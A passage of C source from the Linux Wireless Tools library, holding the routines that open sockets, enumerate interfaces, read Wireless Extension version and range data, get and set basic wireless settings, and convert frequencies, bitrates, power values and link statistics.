WE-9->15 */ #define IW15_MAX_FREQUENCIES 16 #define IW15_MAX_BITRATES 8 #define IW15_MAX_TXPOWER 8 #define IW15_MAX_ENCODING_SIZES 8 #define IW15_MAX_SPY 8 #define IW15_MAX_AP 8 /****************************** TYPES ******************************/ /* * Struct iw_range up to WE-15 */ struct iw15_range { __u32 throughput; __u32 min_nwid; __u32 max_nwid; __u16 num_channels; __u8 num_frequency; struct iw_freq freq[IW15_MAX_FREQUENCIES]; __s32 sensitivity; struct iw_quality max_qual; __u8 num_bitrates; __s32 bitrate[IW15_MAX_BITRATES]; __s32 min_rts; __s32 max_rts; __s32 min_frag; __s32 max_frag; __s32 min_pmp; __s32 max_pmp; __s32 min_pmt; __s32 max_pmt; __u16 pmp_flags; __u16 pmt_flags; __u16 pm_capa; __u16 encoding_size[IW15_MAX_ENCODING_SIZES]; __u8 num_encoding_sizes; __u8 max_encoding_tokens; __u16 txpower_capa; __u8 num_txpower; __s32 txpower[IW15_MAX_TXPOWER]; __u8 we_version_compiled; __u8 we_version_source; __u16 retry_capa; __u16 retry_flags; __u16 r_time_flags; __s32 min_retry; __s32 max_retry; __s32 min_r_time; __s32 max_r_time; struct iw_quality avg_qual; }; /* * Union for all the versions of iwrange. * Fortunately, I mostly only add fields at the end, and big-bang * reorganisations are few. */ union iw_range_raw { struct iw15_range range15; /* WE 9->15 */ struct iw_range range; /* WE 16->current */ }; /* * Offsets in iw_range struct */ #define iwr15_off(f) ( ((char *) &(((struct iw15_range *) NULL)->f)) - \ (char *) NULL) #define iwr_off(f) ( ((char *) &(((struct iw_range *) NULL)->f)) - \ (char *) NULL) /**************************** VARIABLES ****************************/ /* Modes as human readable strings */ const char * const iw_operation_mode[] = { "Auto", "Ad-Hoc", "Managed", "Master", "Repeater", "Secondary", "Monitor", "Unknown/bug" }; /* Modulations as human readable strings */ const struct iw_modul_descr iw_modul_list[] = { /* Start with aggregate types, so that they display first */ { IW_MODUL_11AG, "11ag", "IEEE 802.11a + 802.11g (2.4 & 5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11AB, "11ab", "IEEE 802.11a + 802.11b (2.4 & 5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11G, "11g", "IEEE 802.11g (2.4 GHz, up to 54 Mb/s)" }, { IW_MODUL_11A, "11a", "IEEE 802.11a (5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11B, "11b", "IEEE 802.11b (2.4 GHz, up to 11 Mb/s)" }, /* Proprietary aggregates */ { IW_MODUL_TURBO | IW_MODUL_11A, "turboa", "Atheros turbo mode at 5 GHz (up to 108 Mb/s)" }, { IW_MODUL_TURBO | IW_MODUL_11G, "turbog", "Atheros turbo mode at 2.4 GHz (up to 108 Mb/s)" }, { IW_MODUL_PBCC | IW_MODUL_11B, "11+", "TI 802.11+ (2.4 GHz, up to 22 Mb/s)" }, /* Individual modulations */ { IW_MODUL_OFDM_G, "OFDMg", "802.11g higher rates, OFDM at 2.4 GHz (up to 54 Mb/s)" }, { IW_MODUL_OFDM_A, "OFDMa", "802.11a, OFDM at 5 GHz (up to 54 Mb/s)" }, { IW_MODUL_CCK, "CCK", "802.11b higher rates (2.4 GHz, up to 11 Mb/s)" }, { IW_MODUL_DS, "DS", "802.11 Direct Sequence (2.4 GHz, up to 2 Mb/s)" }, { IW_MODUL_FH, "FH", "802.11 Frequency Hopping (2,4 GHz, up to 2 Mb/s)" }, /* Proprietary modulations */ { IW_MODUL_TURBO, "turbo", "Atheros turbo mode, channel bonding (up to 108 Mb/s)" }, { IW_MODUL_PBCC, "PBCC", "TI 802.11+ higher rates (2.4 GHz, up to 22 Mb/s)" }, { IW_MODUL_CUSTOM, "custom", "Driver specific modulation (check driver documentation)" }, }; /* Disable runtime version warning in iw_get_range_info() */ int iw_ignore_version = 0; /************************ SOCKET SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Open a socket. * Depending on the protocol present, open the right socket. The socket * will allow us to talk to the driver. */ int iw_sockets_open(void) { static const int families[] = { AF_INET, AF_IPX, AF_AX25, AF_APPLETALK }; unsigned int i; int sock; /* * Now pick any (exisiting) useful socket family for generic queries * Note : don't open all the socket, only returns when one matches, * all protocols might not be valid. * Workaround by Jim Kaba * Note : in 99% of the case, we will just open the inet_sock. * The remaining 1% case are not fully correct... */ /* Try all families we support */ for(i = 0; i < sizeof(families)/sizeof(int); ++i) { /* Try to open the socket, if success returns it */ sock = socket(families[i], SOCK_DGRAM, 0); if(sock >= 0) return sock; } return -1; } /*------------------------------------------------------------------*/ /* * Extract the interface name out of /proc/net/wireless or /proc/net/dev. */ static inline char * iw_get_ifname(char * name, /* Where to store the name */ int nsize, /* Size of name buffer */ char * buf) /* Current position in buffer */ { char * end; /* Skip leading spaces */ while(isspace(*buf)) buf++; #ifndef IW_RESTRIC_ENUM /* Get name up to the last ':'. Aliases may contain ':' in them, * but the last one should be the separator */ end = strrchr(buf, ':'); #else /* Get name up to ": " * Note : we compare to ": " to make sure to process aliased interfaces * properly. Doesn't work on /proc/net/dev, because it doesn't guarantee * a ' ' after the ':'*/ end = strstr(buf, ": "); #endif /* Not found ??? To big ??? */ if((end == NULL) || (((end - buf) + 1) > nsize)) return(NULL); /* Copy */ memcpy(name, buf, (end - buf)); name[end - buf] = '\0'; /* Return value currently unused, just make sure it's non-NULL */ return(end); } /*------------------------------------------------------------------*/ /* * Enumerate devices and call specified routine * The new way just use /proc/net/wireless, so get all wireless interfaces, * whether configured or not. This is the default if available. * The old way use SIOCGIFCONF, so get only configured interfaces (wireless * or not). */ void iw_enum_devices(int skfd, iw_enum_handler fn, char * args[], int count) { char buff[1024]; FILE * fh; struct ifconf ifc; struct ifreq *ifr; int i; #ifndef IW_RESTRIC_ENUM /* Check if /proc/net/dev is available */ fh = fopen(PROC_NET_DEV, "r"); #else /* Check if /proc/net/wireless is available */ fh = fopen(PROC_NET_WIRELESS, "r"); #endif if(fh != NULL) { /* Success : use data from /proc/net/wireless */ /* Eat 2 lines of header */ fgets(buff, sizeof(buff), fh); fgets(buff, sizeof(buff), fh); /* Read each device line */ while(fgets(buff, sizeof(buff), fh)) { char name[IFNAMSIZ + 1]; char *s; /* Skip empty or almost empty lines. It seems that in some * cases fgets return a line with only a newline. */ if((buff[0] == '\0') || (buff[1] == '\0')) continue; /* Extract interface name */ s = iw_get_ifname(name, sizeof(name), buff); if(!s) { /* Failed to parse, complain and continue */ #ifndef IW_RESTRIC_ENUM fprintf(stderr, "Cannot parse " PROC_NET_DEV "\n"); #else fprintf(stderr, "Cannot parse " PROC_NET_WIRELESS "\n"); #endif } else /* Got it, print info about this interface */ (*fn)(skfd, name, args, count); } fclose(fh); } else { /* Get list of configured devices using "traditional" way */ ifc.ifc_len = sizeof(buff); ifc.ifc_buf = buff; if(ioctl(skfd, SIOCGIFCONF, &ifc) < 0) { fprintf(stderr, "SIOCGIFCONF: %s\n", strerror(errno)); return; } ifr = ifc.ifc_req; /* Print them */ for(i = ifc.ifc_len / sizeof(struct ifreq); --i >= 0; ifr++) (*fn)(skfd, ifr->ifr_name, args, count); } } /*********************** WIRELESS SUBROUTINES ************************/ /*------------------------------------------------------------------*/ /* * Extract WE version number from /proc/net/wireless * In most cases, you really want to get version information from * the range info (range->we_version_compiled), see below... * * If we have WE-16 and later, the WE version is available at the * end of the header line of the file. * For version prior to that, we can only detect the change from * v11 to v12, so we do an approximate job. Fortunately, v12 to v15 * are highly binary compatible (on the struct level). */ int iw_get_kernel_we_version(void) { char buff[1024]; FILE * fh; char * p; int v; /* Check if /proc/net/wireless is available */ fh = fopen(PROC_NET_WIRELESS, "r"); if(fh == NULL) { fprintf(stderr, "Cannot read " PROC_NET_WIRELESS "\n"); return(-1); } /* Read the first line of buffer */ fgets(buff, sizeof(buff), fh); if(strstr(buff, "| WE") == NULL) { /* Prior to WE16, so explicit version not present */ /* Black magic */ if(strstr(buff, "| Missed") == NULL) v = 11; else v = 15; fclose(fh); return(v); } /* Read the second line of buffer */ fgets(buff, sizeof(buff), fh); /* Get to the last separator, to get the version */ p = strrchr(buff, '|'); if((p == NULL) || (sscanf(p + 1, "%d", &v) != 1)) { fprintf(stderr, "Cannot parse " PROC_NET_WIRELESS "\n"); fclose(fh); return(-1); } fclose(fh); return(v); } /*------------------------------------------------------------------*/ /* * Print the WE versions of the interface. */ static int print_iface_version_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; char buffer[sizeof(iwrange) * 2]; /* Large enough */ struct iw_range * range; /* Avoid "Unused parameter" warning */ args = args; count = count; /* If no wireless name : no wireless extensions. * This enable us to treat the SIOCGIWRANGE failure below properly. */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) return(-1); /* Cleanup */ memset(buffer, 0, sizeof(buffer)); wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = sizeof(buffer); wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0) { /* Interface support WE (see above), but not IWRANGE */ fprintf(stderr, "%-8.16s Driver has no Wireless Extension version information.\n\n", ifname); return(0); } /* Copy stuff at the right place, ignore extra */ range = (struct iw_range *) buffer; /* For new versions, we can check the version directly, for old versions * we use magic. 300 bytes is a also magic number, don't touch... */ if(wrq.u.data.length >= 300) { /* Version is always at the same offset, so it's ok */ printf("%-8.16s Recommend Wireless Extension v%d or later,\n", ifname, range->we_version_source); printf(" Currently compiled with Wireless Extension v%d.\n\n", range->we_version_compiled); } else { fprintf(stderr, "%-8.16s Wireless Extension version too old.\n\n", ifname); } return(0); } /*------------------------------------------------------------------*/ /* * Print the WE versions of the tools. */ int iw_print_version_info(const char * toolname) { int skfd; /* generic raw socket desc. */ int we_kernel_version; /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return -1; } /* Information about the tools themselves */ if(toolname != NULL) printf("%-8.16s Wireless-Tools version %d\n", toolname, WT_VERSION); printf(" Compatible with Wireless Extension v11 to v%d.\n\n", WE_MAX_VERSION); /* Get version from kernel */ we_kernel_version = iw_get_kernel_we_version(); /* Only version >= 16 can be verified, other are guessed */ if(we_kernel_version > 15) printf("Kernel Currently compiled with Wireless Extension v%d.\n\n", we_kernel_version); /* Version for each device */ iw_enum_devices(skfd, &print_iface_version_info, NULL, 0); iw_sockets_close(skfd); return 0; } /*------------------------------------------------------------------*/ /* * Get the range information out of the driver */ int iw_get_range_info(int skfd, const char * ifname, iwrange * range) { struct iwreq wrq; char buffer[sizeof(iwrange) * 2]; /* Large enough */ union iw_range_raw * range_raw; /* Cleanup */ bzero(buffer, sizeof(buffer)); wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = sizeof(buffer); wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0) return(-1); /* Point to the buffer */ range_raw = (union iw_range_raw *) buffer; /* For new versions, we can check the version directly, for old versions * we use magic. 300 bytes is a also magic number, don't touch... */ if(wrq.u.data.length < 300) { /* That's v10 or earlier. Ouch ! Let's make a guess...*/ range_raw->range.we_version_compiled = 9; } /* Check how it needs to be processed */ if(range_raw->range.we_version_compiled > 15) { /* This is our native format, that's easy... */ /* Copy stuff at the right place, ignore extra */ memcpy((char *) range, buffer, sizeof(iwrange)); } else { /* Zero unknown fields */ bzero((char *) range, sizeof(struct iw_range)); /* Initial part unmoved */ memcpy((char *) range, buffer, iwr15_off(num_channels)); /* Frequencies pushed futher down towards the end */ memcpy((char *) range + iwr_off(num_channels), buffer + iwr15_off(num_channels), iwr15_off(sensitivity) - iwr15_off(num_channels)); /* This one moved up */ memcpy((char *) range + iwr_off(sensitivity), buffer + iwr15_off(sensitivity), iwr15_off(num_bitrates) - iwr15_off(sensitivity)); /* This one goes after avg_qual */ memcpy((char *) range + iwr_off(num_bitrates), buffer + iwr15_off(num_bitrates), iwr15_off(min_rts) - iwr15_off(num_bitrates)); /* Number of bitrates has changed, put it after */ memcpy((char *) range + iwr_off(min_rts), buffer + iwr15_off(min_rts), iwr15_off(txpower_capa) - iwr15_off(min_rts)); /* Added encoding_login_index, put it after */ memcpy((char *) range + iwr_off(txpower_capa), buffer + iwr15_off(txpower_capa), iwr15_off(txpower) - iwr15_off(txpower_capa)); /* Hum... That's an unexpected glitch. Bummer. */ memcpy((char *) range + iwr_off(txpower), buffer + iwr15_off(txpower), iwr15_off(avg_qual) - iwr15_off(txpower)); /* Avg qual moved up next to max_qual */ memcpy((char *) range + iwr_off(avg_qual), buffer + iwr15_off(avg_qual), sizeof(struct iw_quality)); } /* We are now checking much less than we used to do, because we can * accomodate more WE version. But, there are still cases where things * will break... */ if(!iw_ignore_version) { /* We don't like very old version (unfortunately kernel 2.2.X) */ if(range->we_version_compiled <= 10) { fprintf(stderr, "Warning: Driver for device %s has been compiled with an ancient version\n", ifname); fprintf(stderr, "of Wireless Extension, while this program support version 11 and later.\n"); fprintf(stderr, "Some things may be broken...\n\n"); } /* We don't like future versions of WE, because we can't cope with * the unknown */ if(range->we_version_compiled > WE_MAX_VERSION) { fprintf(stderr, "Warning: Driver for device %s has been compiled with version %d\n", ifname, range->we_version_compiled); fprintf(stderr, "of Wireless Extension, while this program supports up to version %d.\n", WE_MAX_VERSION); fprintf(stderr, "Some things may be broken...\n\n"); } /* Driver version verification */ if((range->we_version_compiled > 10) && (range->we_version_compiled < range->we_version_source)) { fprintf(stderr, "Warning: Driver for device %s recommend version %d of Wireless Extension,\n", ifname, range->we_version_source); fprintf(stderr, "but has been compiled with version %d, therefore some driver features\n", range->we_version_compiled); fprintf(stderr, "may not be available...\n\n"); } /* Note : we are only trying to catch compile difference, not source. * If the driver source has not been updated to the latest, it doesn't * matter because the new fields are set to zero */ } /* Don't complain twice. * In theory, the test apply to each individual driver, but usually * all drivers are compiled from the same kernel. */ iw_ignore_version = 1; return(0); } /*------------------------------------------------------------------*/ /* * Get information about what private ioctls are supported by the driver * * Note : there is one danger using this function. If it return 0, you * still need to free() the buffer. Beware. */ int iw_get_priv_info(int skfd, const char * ifname, iwprivargs ** ppriv) { struct iwreq wrq; iwprivargs * priv = NULL; /* Not allocated yet */ int maxpriv = 16; /* Minimum for compatibility WE<13 */ iwprivargs * newpriv; /* Some driver may return a very large number of ioctls. Some * others a very small number. We now use a dynamic allocation * of the array to satisfy everybody. Of course, as we don't know * in advance the size of the array, we try various increasing * sizes. Jean II */ do { /* (Re)allocate the buffer */ newpriv = realloc(priv, maxpriv * sizeof(priv[0])); if(newpriv == NULL) { fprintf(stderr, "%s: Allocation failed\n", __FUNCTION__); break; } priv = newpriv; /* Ask the driver if it's large enough */ wrq.u.data.pointer = (caddr_t) priv; wrq.u.data.length = maxpriv; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWPRIV, &wrq) >= 0) { /* Success. Pass the buffer by pointer */ *ppriv = priv; /* Return the number of ioctls */ return(wrq.u.data.length); } /* Only E2BIG means the buffer was too small, abort on other errors */ if(errno != E2BIG) { /* Most likely "not supported". Don't barf. */ break; } /* Failed. We probably need a bigger buffer. Check if the kernel * gave us any hints. */ if(wrq.u.data.length > maxpriv) maxpriv = wrq.u.data.length; else maxpriv *= 2; } while(maxpriv < 1000); /* Cleanup */ if(priv) free(priv); *ppriv = NULL; return(-1); } /*------------------------------------------------------------------*/ /* * Get essential wireless config from the device driver * We will call all the classical wireless ioctl on the driver through * the socket to know what is supported and to get the settings... * Note : compare to the version in iwconfig, we extract only * what's *really* needed to configure a device... */ int iw_get_basic_config(int skfd, const char * ifname, wireless_config * info) { struct iwreq wrq; memset((char *) info, 0, sizeof(struct wireless_config)); /* Get wireless name */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) /* If no wireless name : no wireless extensions */ return(-1); else { strncpy(info->name, wrq.u.name, IFNAMSIZ); info->name[IFNAMSIZ] = '\0'; } /* Get network ID */ if(iw_get_ext(skfd, ifname, SIOCGIWNWID, &wrq) >= 0) { info->has_nwid = 1; memcpy(&(info->nwid), &(wrq.u.nwid), sizeof(iwparam)); } /* Get frequency / channel */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) >= 0) { info->has_freq = 1; info->freq = iw_freq2float(&(wrq.u.freq)); info->freq_flags = wrq.u.freq.flags; } /* Get encryption information */ wrq.u.data.pointer = (caddr_t) info->key; wrq.u.data.length = IW_ENCODING_TOKEN_MAX; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) >= 0) { info->has_key = 1; info->key_size = wrq.u.data.length; info->key_flags = wrq.u.data.flags; } /* Get ESSID */ wrq.u.essid.pointer = (caddr_t) info->essid; wrq.u.essid.length = IW_ESSID_MAX_SIZE + 1; wrq.u.essid.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWESSID, &wrq) >= 0) { info->has_essid = 1; info->essid_on = wrq.u.data.flags; } /* Get operation mode */ if(iw_get_ext(skfd, ifname, SIOCGIWMODE, &wrq) >= 0) { info->has_mode = 1; /* Note : event->u.mode is unsigned, no need to check <= 0 */ if(wrq.u.mode < IW_NUM_OPER_MODE) info->mode = wrq.u.mode; else info->mode = IW_NUM_OPER_MODE; /* Unknown/bug */ } return(0); } /*------------------------------------------------------------------*/ /* * Set essential wireless config in the device driver * We will call all the classical wireless ioctl on the driver through * the socket to know what is supported and to set the settings... * We support only the restricted set as above... */ int iw_set_basic_config(int skfd, const char * ifname, wireless_config * info) { struct iwreq wrq; int ret = 0; /* Get wireless name (check if interface is valid) */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) /* If no wireless name : no wireless extensions */ return(-2); /* Set the current mode of operation * Mode need to be first : some settings apply only in a specific mode * (such as frequency). */ if(info->has_mode) { strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.mode = info->mode; if(iw_get_ext(skfd, ifname, SIOCSIWMODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWMODE: %s\n", strerror(errno)); ret = -1; } } /* Set frequency / channel */ if(info->has_freq) { iw_float2freq(info->freq, &(wrq.u.freq)); if(iw_set_ext(skfd, ifname, SIOCSIWFREQ, &wrq) < 0) { fprintf(stderr, "SIOCSIWFREQ: %s\n", strerror(errno)); ret = -1; } } /* Set encryption information */ if(info->has_key) { int flags = info->key_flags; /* Check if there is a key index */ if((flags & IW_ENCODE_INDEX) > 0) { /* Set the index */ wrq.u.data.pointer = (caddr_t) NULL; wrq.u.data.flags = (flags & (IW_ENCODE_INDEX)) | IW_ENCODE_NOKEY; wrq.u.data.length = 0; if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWENCODE(%d): %s\n", errno, strerror(errno)); ret = -1; } } /* Mask out index to minimise probability of reject when setting key */ flags = flags & (~IW_ENCODE_INDEX); /* Set the key itself (set current key in this case) */ wrq.u.data.pointer = (caddr_t) info->key; wrq.u.data.length = info->key_size; wrq.u.data.flags = flags; /* Compatibility with WE<13 */ if(flags & IW_ENCODE_NOKEY) wrq.u.data.pointer = NULL; if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWENCODE(%d): %s\n", errno, strerror(errno)); ret = -1; } } /* Set Network ID, if available (this is for non-802.11 cards) */ if(info->has_nwid) { memcpy(&(wrq.u.nwid), &(info->nwid), sizeof(iwparam)); wrq.u.nwid.fixed = 1; /* Hum... When in Rome... */ if(iw_set_ext(skfd, ifname, SIOCSIWNWID, &wrq) < 0) { fprintf(stderr, "SIOCSIWNWID: %s\n", strerror(errno)); ret = -1; } } /* Set ESSID (extended network), if available. * ESSID need to be last : most device re-perform the scanning/discovery * when this is set, and things like encryption keys are better be * defined if we want to discover the right set of APs/nodes. */ if(info->has_essid) { int we_kernel_version; we_kernel_version = iw_get_kernel_we_version(); wrq.u.essid.pointer = (caddr_t) info->essid; wrq.u.essid.length = strlen(info->essid); wrq.u.data.flags = info->essid_on; if(we_kernel_version < 21) wrq.u.essid.length++; if(iw_set_ext(skfd, ifname, SIOCSIWESSID, &wrq) < 0) { fprintf(stderr, "SIOCSIWESSID: %s\n", strerror(errno)); ret = -1; } } return(ret); } /*********************** PROTOCOL SUBROUTINES ***********************/ /* * Fun stuff with protocol identifiers (SIOCGIWNAME). * We assume that drivers are returning sensible values in there, * which is not always the case :-( */ /*------------------------------------------------------------------*/ /* * Compare protocol identifiers. * We don't want to know if the two protocols are the exactly same, * but if they interoperate at some level, and also if they accept the * same type of config (ESSID vs NWID, freq...). * This is supposed to work around the alphabet soup. * Return 1 if protocols are compatible, 0 otherwise */ int iw_protocol_compare(const char * protocol1, const char * protocol2) { const char * dot11 = "IEEE 802.11"; const char * dot11_ds = "Dbg"; const char * dot11_5g = "a"; /* If the strings are the same -> easy */ if(!strncmp(protocol1, protocol2, IFNAMSIZ)) return(1); /* Are we dealing with one of the 802.11 variant ? */ if( (!strncmp(protocol1, dot11, strlen(dot11))) && (!strncmp(protocol2, dot11, strlen(dot11))) ) { const char * sub1 = protocol1 + strlen(dot11); const char * sub2 = protocol2 + strlen(dot11); unsigned int i; int isds1 = 0; int isds2 = 0; int is5g1 = 0; int is5g2 = 0; /* Check if we find the magic letters telling it's DS compatible */ for(i = 0; i < strlen(dot11_ds); i++) { if(strchr(sub1, dot11_ds[i]) != NULL) isds1 = 1; if(strchr(sub2, dot11_ds[i]) != NULL) isds2 = 1; } if(isds1 && isds2) return(1); /* Check if we find the magic letters telling it's 5GHz compatible */ for(i = 0; i < strlen(dot11_5g); i++) { if(strchr(sub1, dot11_5g[i]) != NULL) is5g1 = 1; if(strchr(sub2, dot11_5g[i]) != NULL) is5g2 = 1; } if(is5g1 && is5g2) return(1); } /* Not compatible */ return(0); } /********************** FREQUENCY SUBROUTINES ***********************/ /* * Note : the two functions below are the cause of troubles on * various embeeded platforms, as they are the reason we require * libm (math library). * In this case, please use enable BUILD_NOLIBM in the makefile * * FIXME : check negative mantissa and exponent */ /*------------------------------------------------------------------*/ /* * Convert a floating point the our internal representation of * frequencies. * The kernel doesn't want to hear about floating point, so we use * this custom format instead. */ void iw_float2freq(double in, iwfreq * out) { #ifdef WE_NOLIBM /* Version without libm : slower */ out->e = 0; while(in > 1e9) { in /= 10; out->e++; } out->m = (long) in; #else /* WE_NOLIBM */ /* Version with libm : faster */ out->e = (short) (floor(log10(in))); if(out->e > 8) { out->m = ((long) (floor(in / pow(10,out->e - 6)))) * 100; out->e -= 8; } else { out->m = (long) in; out->e = 0; } #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Convert our internal representation of frequencies to a floating point. */ double iw_freq2float(const iwfreq * in) { #ifdef WE_NOLIBM /* Version without libm : slower */ int i; double res = (double) in->m; for(i = 0; i < in->e; i++) res *= 10; return(res); #else /* WE_NOLIBM */ /* Version with libm : faster */ return ((double) in->m) * pow(10,in->e); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Output a frequency with proper scaling */ void iw_print_freq_value(char * buffer, int buflen, double freq) { if(freq < KILO) snprintf(buffer, buflen, "%g", freq); else { char scale; int divisor; if(freq >= GIGA) { scale = 'G'; divisor = GIGA; } else { if(freq >= MEGA) { scale = 'M'; divisor = MEGA; } else { scale = 'k'; divisor = KILO; } } snprintf(buffer, buflen, "%g %cHz", freq / divisor, scale); } } /*------------------------------------------------------------------*/ /* * Output a frequency with proper scaling */ void iw_print_freq(char * buffer, int buflen, double freq, int channel, int freq_flags) { char sep = ((freq_flags & IW_FREQ_FIXED) ? '=' : ':'); char vbuf[16]; /* Print the frequency/channel value */ iw_print_freq_value(vbuf, sizeof(vbuf), freq); /* Check if channel only */ if(freq < KILO) snprintf(buffer, buflen, "Channel%c%s", sep, vbuf); else { /* Frequency. Check if we have a channel as well */ if(channel >= 0) snprintf(buffer, buflen, "Frequency%c%s (Channel %d)", sep, vbuf, channel); else snprintf(buffer, buflen, "Frequency%c%s", sep, vbuf); } } /*------------------------------------------------------------------*/ /* * Convert a frequency to a channel (negative -> error) */ int iw_freq_to_channel(double freq, const struct iw_range * range) { double ref_freq; int k; /* Check if it's a frequency or not already a channel */ if(freq < KILO) return(-1); /* We compare the frequencies as double to ignore differences * in encoding. Slower, but safer... */ for(k = 0; k < range->num_frequency; k++) { ref_freq = iw_freq2float(&(range->freq[k])); if(freq == ref_freq) return(range->freq[k].i); } /* Not found */ return(-2); } /*------------------------------------------------------------------*/ /* * Convert a channel to a frequency (negative -> error) * Return the channel on success */ int iw_channel_to_freq(int channel, double * pfreq, const struct iw_range * range) { int has_freq = 0; int k; /* Check if the driver support only channels or if it has frequencies */ for(k = 0; k < range->num_frequency; k++) { if((range->freq[k].e != 0) || (range->freq[k].m > (int) KILO)) has_freq = 1; } if(!has_freq) return(-1); /* Find the correct frequency in the list */ for(k = 0; k < range->num_frequency; k++) { if(range->freq[k].i == channel) { *pfreq = iw_freq2float(&(range->freq[k])); return(channel); } } /* Not found */ return(-2); } /*********************** BITRATE SUBROUTINES ***********************/ /*------------------------------------------------------------------*/ /* * Output a bitrate with proper scaling */ void iw_print_bitrate(char * buffer, int buflen, int bitrate) { double rate = bitrate; char scale; int divisor; if(rate >= GIGA) { scale = 'G'; divisor = GIGA; } else { if(rate >= MEGA) { scale = 'M'; divisor = MEGA; } else { scale = 'k'; divisor = KILO; } } snprintf(buffer, buflen, "%g %cb/s", rate / divisor, scale); } /************************ POWER SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Convert a value in dBm to a value in milliWatt. */ int iw_dbm2mwatt(int in) { #ifdef WE_NOLIBM /* Version without libm : slower */ int ip = in / 10; int fp = in % 10; int k; double res = 1.0; /* Split integral and floating part to avoid accumulating rounding errors */ for(k = 0; k < ip; k++) res *= 10; for(k = 0; k < fp; k++) res *= LOG10_MAGIC; return((int) res); #else /* WE_NOLIBM */ /* Version with libm : faster */ return((int) (floor(pow(10.0, (((double) in) / 10.0))))); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Convert a value in milliWatt to a value in dBm. */ int iw_mwatt2dbm(int in) { #ifdef WE_NOLIBM /* Version without libm : slower */ double fin = (double) in; int res = 0; /* Split integral and floating part to avoid accumulating rounding errors */ while(fin > 10.0) { res += 10; fin /= 10.0; } while(fin > 1.000001) /* Eliminate rounding errors, take ceil */ { res += 1; fin /= LOG10_MAGIC; } return(res); #else /* WE_NOLIBM */ /* Version with libm : faster */ return((int) (ceil(10.0 * log10((double) in)))); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Output a txpower with proper conversion */ void iw_print_txpower(char * buffer, int buflen, struct iw_param * txpower) { int dbm; /* Check if disabled */ if(txpower->disabled) { snprintf(buffer, buflen, "off"); } else { /* Check for relative values */ if(txpower->flags & IW_TXPOW_RELATIVE) { snprintf(buffer, buflen, "%d", txpower->value); } else { /* Convert everything to dBm */ if(txpower->flags & IW_TXPOW_MWATT) dbm = iw_mwatt2dbm(txpower->value); else dbm = txpower->value; /* Display */ snprintf(buffer, buflen, "%d dBm", dbm); } } } /********************** STATISTICS SUBROUTINES **********************/ /*------------------------------------------------------------------*/ /* * Read /proc/net/wireless to get the latest statistics * Note : strtok not thread safe, not used in WE-12 and later. */ int iw_get_stats(int skfd, const char * ifname, iwstats * stats, const iwrange * range, int has_range) { /* Fortunately, we can always detect this condition properly */ if((has_range) && (range->we_version_compiled > 11)) { struct iwreq wrq; wrq.u.data.pointer = (caddr_t) stats; wrq.u.data.length = sizeof(struct iw_statistics); wrq.u.data.flags = 1; /* Clear updated flag */ strncpy(wrq.ifr_name, ifname, IFNAMSIZ); if(iw_get_ext(skfd, ifname, SIOCGIWSTATS, &wrq) < 0) return(-1); /* Format has not changed since WE-12, no conversion */ return(0); } else { FILE * f = fopen(PROC_NET_WIRELESS, "r"); char buf[256]; char * bp; int t; if(f==NULL) return -1; /* Loop on all devices */ while(fgets(buf,255,f)) { bp=buf; while(*bp&&isspace(*bp)) bp++; /* Is it the good device ? */ if(strncmp(bp,ifname,strlen(ifname))==0 && bp[strlen(ifname)]==':') { /* Skip ethX: */ bp=strchr(bp,':'); bp++; /* -- status -- */ bp = strtok(bp, " "); sscanf(bp, "%X", &t); stats->status = (unsigned short) t; /* -- link quality -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated |= 1; sscanf(bp, "%d", &t); stats->qual.qual = (unsigned char) t; /* -- signal level -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated |= 2; sscanf(bp, "%d", &t); stats->qual.level = (unsigned char) t; /* -- noise level -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated += 4; sscanf(bp, "%d", &t); stats->qual.noise = (unsigned char) t; /* -- discarded packets -- */ bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.nwid); bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.code); bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.misc); fclose(f); /* No conversion needed */ return 0; } } fclose(f); return -1; } } /*------------------------------------------------------------------*/ /* * Output the link statistics, taking care of formating */ void iw_print_stats(char * buffer, int buflen, const iwqual * qual, const iwrange * range, int has_range) { int len; /* People are very often confused by the 8 bit arithmetic happening * here. * All the values here are encoded in a 8 bit integer. 8 bit integers * are either unsigned [0 ; 255], signed [-128 ; +127] or * negative [-255 ; 0]. * Further, on 8 bits, 0x100 == 256 == 0. * * Relative/percent values are always encoded unsigned, between 0 and 255. * Absolute/dBm values are always encoded between -192 and 63. * (Note that up to version 28 of Wireless Tools, dBm used to be * encoded always negative, between -256 and -1). * * How do we separate relative from absolute values ? * The old way is to use the range to do that. As of WE-19, we have * an 